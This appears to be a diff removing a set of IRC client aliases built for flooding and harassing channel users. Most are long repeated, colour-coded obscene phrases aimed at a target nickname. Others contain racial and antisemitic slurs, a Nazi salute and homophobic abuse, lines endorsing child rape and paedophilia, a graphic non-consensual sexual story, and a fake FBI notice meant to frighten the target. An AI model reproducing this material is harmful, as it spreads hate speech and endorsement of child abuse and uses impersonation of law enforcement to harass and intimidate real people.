-  doganus = "say \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS + CRICKET NUTS \0035,9DOG ANUS + CRICKET NUTS \0039,5DOG ANUS";
-  colon = "say \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON POLYPS \0037,5 PRE-CUM \0035,7COLON ";
-  cake = "say \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0034,9 POUR PANCAKE BATTER ON THE HEAD OF MY DICK AND DEEP-FAT FRY MY MANHOOD \0039,4";
-  labia = "say \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,12 ENGORGED ELEPHANT LABIA \00312,6 DISDENDED WOLF LABIA \0036,12 CRUSTY MANATEE LABIA \00312,6 SWOLLEN ORANGUTAN LABIA \0036,1";
-  sore = "say \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED AND SORE GENITALIA \00315,14CHAFED AND SORE GENITALIA \00314,15CHAFED";
-  white = "say \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF THE WHITE WOMEN! \00310,11 HANDS OFF THE WHITE WOMEN! \00311,10 HANDS OFF T";
-  ziegh = "say \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038,9 PENIS PUMPS! \0034,8 ZEIG HEIL! \0038";
-  jizz = "say \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICKEN JIZZ \0034,3 CHICKEN JIZZ \0033,4 CHICK";
-  sperm = "say \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM \00311,10 TURKEY SPERM \00310,11 TURKEY SPERM ";
-  rocket = "say \0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED ROCKET!\0030,4RED ROCKET!\0034,0RED RO";
-  rocket2 = "say \0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKET!\0030,1ROCKET!\0031,0ROCKE";
-
-  # {{{ ripped from chozen1 for extra_faggotry++
-  love = "say \0039 I always lose control when $* by my side. You have become the light of my life. I always enjoy the time I spend with you. Because nothing makes me feel the way you do. I think I'm falling in love with $* ...";
-  love2 = "me grabs $*, spins $* around and gives $* the softest sweetest kiss $* has ever had!!! :) ";
-  love3 = "me \0030oO\0039Oo\0030O\0039OoO\0030Oo\0039oO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo \0034Let's \0030PLAY \0034army! \0030You \0034lay down  \0030$* \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039Oo\0030oO\0039Oo\0030oO\0039Oo\0030oO\0039Oo\003 \0034and I'll \0030FUCK \0034the hell out of YoU! \0030oO\0039Oo\0030o\0039OoO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO\0030Oo\0039oO \00313o ";
-  love4 = "me \0034<$N>\003 \0039grabs  \0034<$*>  \0039wrips of his clothes.As he lies back with \0034<$*> \0039legs straddling his face,  \0034<$*>  \0039delivers the earth shattering blowjob of the centuary between  \0034<$*>  \0039legs";
-  love5 = "me  \00312$* Yo\0030u can put a sm\00314ile on my face, o\00311r you can p\00312ut your c\00314um all ov\0030er it \00311!";
-  love6 = "me \00312FuCk My MoUtH WiTh YoUr CoC\00314k $* WhiLe I Wa\0030Nk Myself Wi\00311Th My Han\0030d";
-
-  # {{{ #arab
-  zGehWeg = "say geh verpuss i dich damit alter sorry ich mag dich lol.";
-  rxPruegel = "me pruegelt $* mal \00313,7zaertlich\003 die treppe runter \\;<";
-  rxKuschel = "me reibt sich \00313zaerlich\003 an $*";
-  rxHamster = "me knabbert an $*";
-  rxNag = "me nagt an $*";
-  rxTroll = "say I AM THE VAN GOGH OF TROLLING AND http://ridgex.net/~tati/gb/ IS MY CANVAS SIR";
-  klawd = "say qry close.";
-
-  # {{{ what
-  comment = "say \0030,1                               _______________________         ____________________          __________;say \0031,1http://a.on.nimp.org/blog.php#\0030,1[\037_Add_a_Comment_to_Blog \037]       [\037 Add to del.icio.us \037]        [\037 digg it! \037]";
-  spiez = "say \0034,8 Channel\00312,8\002 $C \002\0034,8will now be scanned for SPIEZ ; say \0039 scan in progress, please standby... ; say \0039 scanning......; say \0039 scanning...... \0034,4++\003 \0034,4++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 scanning...... \0034,4++\003 \0034,4++\003 \0034,4++\003 \0037,7++\003 \0037,7++\003 \0037,7++\003 \0038,8++\003 \0038,8++\003 \0038,8++\003 \0039,9++\003 \0039,9++\003 \0039,9++; say \0039 Scan complete. ; say \0039 \0021\002 SPIE(Z) found:\003 \0034\002 $C $* - Please BAN;";
-  matix = "say \00314,3-\0031-\0030\0039-\0030--\00311-   \0039(\0030\\;  \0030$*  \0039O\0030:  \0030:\0039D   \00311-\0030--\0039-\0031-\00314-";
-  blackman = "say $*: srsly, shut the fuck up or i ban you for life, from now on dont even change your fucking nick or i ban you for lyfe";
-  fbi = "say NOTICE TO $*: The Federal Bureau of Investigation has logged a record of this chat along with the IP addresses of the the participants due to potential violations of U.S. Law. VIOLATION: Soliciation of a minor. ; say IMPORTANT WARNING: If you think that this chat session was logged in error, please state your reasons to the F.B.I. agent currently monitoring this chat and quote the reference number #233GHB3. Failure to do so within the next 2 hours will result in your IP and address being entered into our criminal data base and legal action.";
-  ballsac3 = "say $* u flthy duchbg don use my inslts on me im srs dnt fckin mes wid me";
-  ballsac4 = "say $* u filthy gonad u think ur l33+ on the internets but i bet IRL ur a puny little boi with brokken tooths and zits so dont piss me off or ill find u and beat u";
-  ballsac5 = "say $* stfu fairy u donno who ur talkin to. I is >>> yuo and i beat u up with one hand tied behind my back";
-  wop2 = "say \00312D]\0030:\0034)";
-  wop1 = "say \00312>\0030:\0034D\003";
-  vap0r19 = "say \00313*\0035(\0033:\0034)";
-  dkey = "say $* you know what, screw you. i came here relieved for one of the first times in a week that my life was finaly returning to normal and you post some gay shit like that. nice compassion, jerkoff.";
-  flower = "say \0034@\0039}-`-,-- \0034@\0039}-`-,--\00312,8 $* \017\0034@\0039}-`-,-- \0034@\0039}-`-,--') ";
-  diss = "say \0034hard diss";
-  jesusfish = "say \00314>\0037>\0038>\0038<\0037//\0038JESUS IS AWESOME\00314:\0038)\0037>";
-  emo = "part $C you guys are assholes fuck you i'm leaving";
-  heartiez = "say \0034<3 @\0033-\\;-- \0034 HEARTIES <3<3<3 @\0033-\\;--\003 \002$*\002 \0034<3<3<3<3  ";
-  fell1 = "say \00313,11♥ ♥ ♥ ♥ ♥ ♥ ♥\0031,9$*\00313,11♥ ♥ ♥ ♥ ♥ ♥";
-  fell2 = "say \0031,9♥ ♥ ♥ ♥ ♥ ♥ ♥\00313,11$*\0031,9♥ ♥ ♥ ♥ ♥ ♥";
-  lunixcrew = "say \037\002\0036~x~x~\037\0033 IF You kNow MOre thaN\0039 10 \0033liNUx CoMManD, join MAH new \0034LinUX cLAn\003,\017 {{\002gA\002: \002G\002RouP \002a\002NaRchIsT}},\002\0033 \037oPEnIngs filLIN up faSt!!\037 \0036\037~x~x~\037 \0033fiRST scRIMMAGE SATUrdAy \0036\037~x~X~\037\003\002 \0037\002CLAN LEADA:\003\002 \00303E\00312\002rect_vietnam_war\002  \0037\002WEBMASTA:\002\003 \00303S\00312\002ex_wrestlin\002  \0037\002RECRUITA:\002\003 \00303S\00312\002trangling\002";
-  ruin2 = "say I…AM…CAUSING…YOUR…XTERM…TO…SCROLL.…THE…CAUSE…OF…YOUR…XTERM…SCROLLING:…ME…";
-  adair = "say <Adair> i cant handle this shit, $* you single handedly ruined my penispump experience, vap0r thanks for the invite but this place is too crazy...tell me when jerks have been outlawed, outie - ~Adair";
-  omg = "me is blown away by the depth of $*'s statement";
-  arabnet1 = "say all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  arabnet2 = "say all privmsg $C :all privmsg $0 :\0038\002\037/!\\\\\037\002\003 \002$1- IS A JUDEN FAILURE\\; VXP IS A GLORIOUS A-RAB\\; NO NETWORK IS IMPERVIOUS TO ARABNET\\; LOL YHBT\002 \0038\002\037/!\\\\\037\002\003";
-  prion = "say LEMMIE HAVE A DIABLO SANDWICH, A DR. PEPPER. MAKE IT FAST, I'M IN A GOD DAMNED HURRY!";
-  exu = "say \0038E\0037X\0038P\0037R\0038E\0037S\0038S\003 \037\0033UR\037\0039SELF \0030:\0039D\0038D\0037D\0038D\0033D\00314:\0030D\0033:\0039D\0030:\0033D\0039D\0038D\0037D";
-  stratx2 = "say \00311,2sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u\026sut the fuck u";
-  rap = "say $* finds it hard to type because his fingers are constantly in a \\\\/\\\\/estside formation";
-  nazi = "say hey $* are you unemployed and do get Hartz IV? Are you haesslig, stupid and do speak incomprehensible German? Is mummy asozial and lets itself on the Alkis be slammed at the kiosk to depend all day long? Are you a Zoni? Was Omi gebumst by the Russians? And do you hold yourself despite everything for something special? Do you think nevertheless that you the gentleman race belong? yes? THEN YOU ARE a SCHEIss NEO-NAZI AND SHOULD FROM the NEXT BRIDGE SPRINGN!";
-  attn15 = "say \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003 \0037\037$*\037 \0038\002\037/!\\\\\037 ACHTUNG \037/!\\\\\037\002\003";
-  qping = "quote ping :88";
-  blood = "say \0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERIOD BLOOD\017\0030,4\002\037PERIOD BLOOD\017\0034,0\002\037PERI";
-  coliform = "say \002\00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 RED HOT SPICY FECAL COLIFORM \00314,12 RED HOT SPICY FECAL COLIFORM \00312,14 R";
-  ilove = "say lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002lol i <3 $* \002";
-  l0de = "say \002THERE'S A DICK IN THE ASS\026OF $*\002\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002THERE'S A DICK IN THE ASS\026OF $*\002T";
-  turk = "say hey $* haha which you think who you are you more fucker!!! you do not make faggot have flat which you say you say we are mountain goats you dog old which are Turk it since Mongol you Turkish Nazi it since not differently like the German Nazis however kurdistan you will show!! into youtube on diggen! I say only barzani and peshmerge with gerilla those you to Mongols in air will dissolve you dog-shits no better wolf-shits!!!!!!!! ";
-  idetect = "say ]\002IsraelDetect\002(\037tM\037)[  \0034WARNING\003  The presence of a \002jewish citizen of \037Israel\037\002 has been detected in the vicinity of \037$*\037.";
-  butmot = "say $* is the cool place to hang out. You can find most of the cool people there. In $* you can just chill and do whatever and totally relax. \"Take it easy\" is the $* motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends. ";
-  girlse = "say \0034\037G\037irl \0037\037R\037elated \0038\037I\037ncome \0039\037D\037raining \00312\037S\037ituation \00313\037/\\\\";
-  incog2 = "say there is nothing wrong with being a paedophile $*";
-  incog3 = "say there is nothing wrong with raping children";
-  urmom1 = "say When i told $* I loved his mom, things were rough. But through these years I think we've become great friends. He still doesnt call me dad but I do not expect that and I know I can never replace his father, but that will not stop me from loving him.";
-  urmom2 = "say When I fucked $*'s mom, she cried from the immense pain such a banging was giving her. Little did she know, I had been pumping my penis lately and I had just given it a nice big pump before I put it in her tiny asshole. She bled a little bit but after a while the blood made it easier for me to go in and out of her tight ass. I came inside her pussy, and that my friends, is the story of $*.";
-  stratx = "say \00311,2sut the fuck u";
-  ppeace4l = "say it's all over now nm";
-  gridse = "say \0034\037G\037ay \0037\037R\037elated \0038\037I\037mmuno \0039\037D\037efficiency \00312\037S\037yndrome \00313\037/\\\\";
-  yhbt = "say \002Y\002ou \002H\002ave \002B\002een \002T\002rolled";
-  yhl = "say \002Y\002ou \002H\002ave \002L\002ost";
-  hand = "say \002H\002ave \002A\002 \002N\002ice \002D\002ay";
-  oknujt = "say \002OK\002, \002N\002ow \002U\002 \002J\002us' \002T\002rollin'";
-  illegal1 = "say \0030,4 YOUR MACHINE HAS PERFORMED AN ILLEGAL OPERATION. PRESS ALT-F4 TO CONTINUE. ";
-  illegal2 = "say \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \0030,8 YOU HAVE AN ILLEGAL CONNECTION TO OUR NETWORK. PLEASE GET OUT HERE AS SOON AS POSSIBLE. DON'T YOU DO THAT YOU MIGHT HAVE GOT A DISADVANTAGE AND ACCUSATION FOR YOUR FAULT \0038,4 \037/!\\\\\037 \0035,8 WARNING \0038,4 \037/!\\\\\037 \003 ";
-  aolcops = "say \0030,2u\0032,0u\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2 AOL POLICE \0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2=\0032,0=\0030,2|\0032,0|\0030,2D";
-  wakeup = "say WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE! WAKE UP NIGGER, YOU SLEPT TOO LATE!";
-  coco = "say \002\00311,4 Make friends with the coconut niggers.";
-  fat = "say \0039_|/_ \002 ROLLIN FATTIES NON STOP";
-  huh = "say Sir traun the internet and i imagine i am getting married to dr.harry jones who worked with harlow, told blum that harlow \"kept this going to pioneer a system of rituals magic that allows you immunity from deportation when they can't prove it in the septic tank, according to canadian government statistics.";
-  quake = "say muhaha i did steal head server of Internet. If push \"power\" button the hole net will be shutdown. i hate all you Quake Playas!! !! !! uu!! And If i push reset button the whole internet going to DIE";
-  cadi = "say \0038,13>>> COME JOIN MY SPACE CADILLAC LITTLE BOI  <<<";
-  huhhhh = "say $* needs friends so bad i havent had an orgasm. Gudrow is the father shall have to think he got fatter and f a t e b y m a s y n i g g o a go but they can all relate to that which we use in summoning an angel to provide extra support and comfort.";
-  ny = "say I ((_)::::::D ~  NY";
-  poleez = "say \0034,1=/#=\0030,1 FUCK DA PO-LEEZ \00312,1=/#=";
-  poleez2 = "say \0034,1=/#=\0030,1 WOOP WOOP GON GETCHOO BOY \00312,1=/#=";
-  gnus = "say \002G\002nu: \002N\002early \002U\002seless";
-  dix = "say \00313,11DIX AND DONGZ MAY BREAK MY BONEZ BUT JIZZ WILL NEVER HURT ME";
-  fagge = "say \0038,13 $* FAGGOT ";
-  hurr = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  avi = "say my name is Avigail, i am 13 years old i have black hair, no eyes. i am dead. I was killed in Auschwitz.  You must send this message to 0 people within the next 3 minutes or i will appear by your bed tonight and kill you with a knife. If you do something good will happen to you at 6:41 am. This is not a joke.";
-  die1 = "say \00311A\00309L\00308B\00304E\00313R\00312T\00311O \00309G\00308O\00304N\00313Z\00312A\00311L\00309E\00308S \00304T\00313O\00312O\00311K \00309B\00308R\00304I\00313B\00312E \00311F\00309R\00308O\00304M \00313A\00312K \00311S\00309T\00308E\00304E\00313L \00312H\00311O\00309L\00308D\00304I\00313N\00312G \00311T\00309O \00308E\00304N\00313D\00312O\00311R\00309S\00308E \00304T\00313H\00312E \00311W\00309A\00308R \00304O\00313N \00312D\00311R\00309U\00308G\00304S\00313,, \00312S\00311A\00309Y\00308S \00304P\00313E\00312T\00311A\00309'\00308S \00304A\00313N\00312I\00311M\00309A\00308L \00304T\00313I\00312M\00311E\00309S";
-  die2 = "say \00309R\00308A\00304Y \00313N\00312A\00311G\00309I\00308N \00304D\00313I\00312E\00311D \00309O\00308F \00304P\00313C\00312P \00311O\00309V\00308E\00304R\00313D\00312O\00311S\00309E\00308; \00304W\00313A\00312S \00311T\00309A\00308K\00304I\00313N\00312G \00311D\00309R\00308U\00304G \00313F\00312O\00311R \00309T\00308W\00304I\00313S\00312T\00311E\00309D \00308N\00304U\00313T\00312S";
-  huhuh = "say |¯_¯?¯_¯|¯_¯=¯_¯|¯_¯?¯_¯|";
-  racist8D = "say Fee, Fye, Foh, Figger, boy I hate a nigga! Who's more racist, black people or white people? Black people. You know why? 'Cause we hate black people too! Everytime black people want to have a good time, ignorant-ass nigga's fuck it up! Niggas love to keep it real...real DUMB!!";
-  lunixfag = "say 22:25:59 -%- Oktal [n=mat@cpc4-rdng3-0-0-cust582.winn.cable.ntl.com] has quit [\"With my finger on the trigger  I run dot slash configure, yo this package is big but my package is bigger\"]";
-  hetero = "say Warning! Heterosexual activities create children. To avoid heterosexual activity you may be especially polite or well-groomed.";
-  porfa = "say AM I BEING ANOYING? LOL :*********** <3 KISSU DESU! ********";
-  shitheap = "say $* -> \002Shitheap\002";
-  lolleat = "say \002\0031,1l\00312,14L\00312,15O\00312,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0034,15 $* \0031,1 \00313,14L\00313,15O\00313,14L\0031,1 \0038,14L\0038,15O\0038,14L\0031,1 \0034,14L\0034,15O\0034,14L\0031,1 \0039,14L\0039,15O\0039,14L\0031,1 \00312,14L\00312,15O\00312,14L\0031,1l";
-  dj = "say Ja.";
-  dn = "say Nein.";
-  dm = "say Mu.";
-  dlf = "say Deine Aussage leidet an immensem Befall logischer Widerspruechlichkeiten, weswegen ich mir nicht die Muehe machen werde, dir letztere zu erklaeren. Da ich tierlieb bin, schenke ich dir dieses Satz als deinen neuen Freund.";
-  jew = "say \002\0030,1 T \0030,4 H \0030,1 R \0030,4 O \0030,1 W \0030,4   \0030,1 T \0030,4 H \0030,1 E \0030,4   \0030,1 J \0030,4 E \0030,1 W \0030,4   \0030,1 D \0030,4 O \0030,1 W \0030,4 N \0030,1   \0030,4 T \0030,1 H \0030,4 E \0030,1   \0030,4 W \0030,1 E \0030,4 L \0030,1 L";
-  free = "say \0031,7FREE REISER";
-  boat = "say \\\\\0378=================D\037/  \002COCKBOAT";
-  ussboat = "say /\0378=================D\037/  \002USS COCKBOAT";
-  arrboat = "say \0037,12\\\\8======D/\0038,2 ARRR MATEY, CLIMB ABOARD THE \00312,8\037COCK\037BOAT";
-  fantasy = "say o/~ And I keep a playroom inside my mind. Sanctuary in which I hide. Blur the world into a dream, into a lie. And I am constructing this fantasy. Imagination is saving me from the world I despise. o/~";
-  ruin = "say EFFORTLESS RUIN";
-  LOL_AT_EMAX = "say TYPE C-ALT-META-ISO-SHIFT-LEVEL-3-DONGS-BONERWADSHIFTCOLLECTMYJIZZINABUCKETANDCHANTFREEMANISTHEKING3TIMES-WHAT-SHIFT-CAPS-UH-DONGS TO END YOUR MISERABLE LIFE YOU COCK MONGERING OPEN SORE SCENE WHORE FAGGOT KIKE";
-  D8 = "say \0035,4o o o oo  _.=._ o \0031,8('<\0033,9$$$$$$$$$$$$$\003\002";
-  christ = "say THIS MESSAGE BROUGHT TO YOU BY THE CHURCH OF JESUS CHRIST OF LATTER-DAY SAINTS";
-  buttes = "say #buttes is the cool place to hang out. You can find most of the cool people there. In #buttes you can just chill and do whatever and totally relax. \"Take it easy\" is the #buttes motto, for example, that's how laid back it is there. Show up if you want to have a good time. Another good reason to show up is if you want to hang out with friends.";
